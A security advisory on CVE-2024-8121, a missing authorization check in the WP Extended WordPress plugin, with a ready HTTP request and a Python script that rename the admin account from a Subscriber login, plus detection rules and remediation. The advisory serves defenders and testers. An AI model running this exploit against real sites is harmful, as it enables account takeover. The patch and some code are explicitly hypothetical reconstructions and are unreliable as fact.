CVE-2024-8121

Executive Summary

CVE-2024-8121 is a Missing Authorization vulnerability in the WordPress plugin The Ultimate WordPress Toolkit – WP Extended (versions up to and including 3.0.8). The plugin fails to perform a capability check on the wpext_change_admin_name() function, allowing authenticated attackers with Subscriber-level access or higher to change the default 'admin' username to any arbitrary username. This unauthorized modification can lead to account takeover, privilege escalation, and persistent backdoor access if the attacker sets the admin username to a value they control.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the WordPress dashboard or via direct download are affected. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (Username change)
• Availability Impact: Low (Potential lockout)

Threat Level: Medium. While the CVSS score is moderate, the ability to change the admin username can be leveraged for persistent access and further attacks.

Deep Dive & Mechanics

The vulnerability resides in the wpext_change_admin_name() function within the WP Extended plugin. This function is intended to allow administrators to change the default 'admin' username to a custom one for security purposes. However, the function lacks a proper capability check (e.g., current_user_can('manage_options') or current_user_can('administrator')). As a result, any authenticated user, including those with only Subscriber-level privileges, can call this function via an AJAX action or direct request.

Attack Flow:

1. Attacker authenticates as a Subscriber (or higher).
2. Attacker sends a crafted HTTP request to the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=wpext_change_admin_name&new_username=attacker_admin).
3. The plugin processes the request without verifying the user's role.
4. The default 'admin' username is changed to the attacker-specified value.
5. The original admin account is now renamed, potentially locking out the legitimate admin if they rely on the 'admin' username.
6. The attacker can then attempt to reset the password for the renamed admin account (if other vulnerabilities exist) or use the renamed account for further attacks.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.0.8):

function wpext_change_admin_name() {
    global $wpdb;
    $new_username = sanitize_user($_POST['new_username']);
    if (empty($new_username)) {
        wp_die('Username cannot be empty.');
    }
    $wpdb->update(
        $wpdb->users,
        array('user_login' => $new_username),
        array('user_login' => 'admin')
    );
    wp_die('Admin username changed successfully.');
}
add_action('wp_ajax_wpext_change_admin_name', 'wpext_change_admin_name');

Patched Code (Hypothetical Fix):

function wpext_change_admin_name() {
    // Add capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized.');
    }
    global $wpdb;
    $new_username = sanitize_user($_POST['new_username']);
    if (empty($new_username)) {
        wp_die('Username cannot be empty.');
    }
    $wpdb->update(
        $wpdb->users,
        array('user_login' => $new_username),
        array('user_login' => 'admin')
    );
    wp_die('Admin username changed successfully.');
}
add_action('wp_ajax_wpext_change_admin_name', 'wpext_change_admin_name');

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with WP Extended plugin <= 3.0.8 installed.
• Valid Subscriber account credentials (e.g., subscriber:password).

Exploit Steps:

1. Log in as a Subscriber.
2. Send the following HTTP request to change the admin username:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-wordpress-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_<hash>=<subscriber_cookie>

action=wpext_change_admin_name&new_username=attacker_admin

3. Verify the change by checking the users table or attempting to log in as attacker_admin (if password is known or can be reset).

Automated Exploit (Python):

import requests

target = "http://target-wordpress-site.com"
session = requests.Session()
# Login as subscriber
login_data = {
    'log': 'subscriber',
    'pwd': 'password',
    'wp-submit': 'Log In',
    'redirect_to': target + '/wp-admin/',
    'testcookie': '1'
}
session.post(target + '/wp-login.php', data=login_data)

# Exploit
exploit_data = {
    'action': 'wpext_change_admin_name',
    'new_username': 'attacker_admin'
}
response = session.post(target + '/wp-admin/admin-ajax.php', data=exploit_data)
print(response.text)

Blue Team

Detection:

• Monitor for AJAX requests to admin-ajax.php with action=wpext_change_admin_name from non-admin users.
• Alert on changes to the user_login field in the wp_users table, especially for the 'admin' account.
• Review authentication logs for failed login attempts after a username change.

Hunting:

• Query the WordPress database for users with user_login containing suspicious strings.
• Check for multiple rapid requests to admin-ajax.php from the same IP.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /wp-admin/admin-ajax.php with parameter action=wpext_change_admin_name.
  • User-Agent strings associated with automated exploitation tools.
• Host:
  • Modified user_login field in wp_users table for the admin account.
  • Presence of new user accounts with elevated privileges.
  • Log entries in /var/log/apache2/access.log or /var/log/nginx/access.log showing unusual AJAX requests.
• File:
  • Modified plugin files in /wp-content/plugins/wp-extended/ (if attacker uploads backdoor).

Detection Engineering

YARA Rule

rule CVE_2024_8121_WP_Extended_Username_Change {
    meta:
        description = "Detects exploitation attempts for CVE-2024-8121 in WP Extended plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-8121"
    strings:
        $ajax_action = "wpext_change_admin_name"
        $new_username = "new_username"
    condition:
        $ajax_action and $new_username
}

Sigma Rule

title: CVE-2024-8121 WP Extended Admin Username Change
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized admin username change via WP Extended plugin
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=wpext_change_admin_name'
    condition: selection
falsepositives:
    - Legitimate admin actions (if patched)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-8121 WP Extended Admin Username Change Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=wpext_change_admin_name";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP Extended plugin until a patched version is released.
2. Change all admin usernames back to a secure, non-default value using a database query:

   UPDATE wp_users SET user_login = 'new_admin_username' WHERE user_login = 'admin';
   

3. Reset passwords for all administrator accounts.
4. Review user roles and remove any suspicious accounts.

Long-term Fix:

• Apply the vendor patch when available (currently UNKNOWN).
• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=wpext_change_admin_name from non-admin users.
• Enforce strong capability checks in custom WordPress plugins.

Valters IT
Securing Digital Frontiers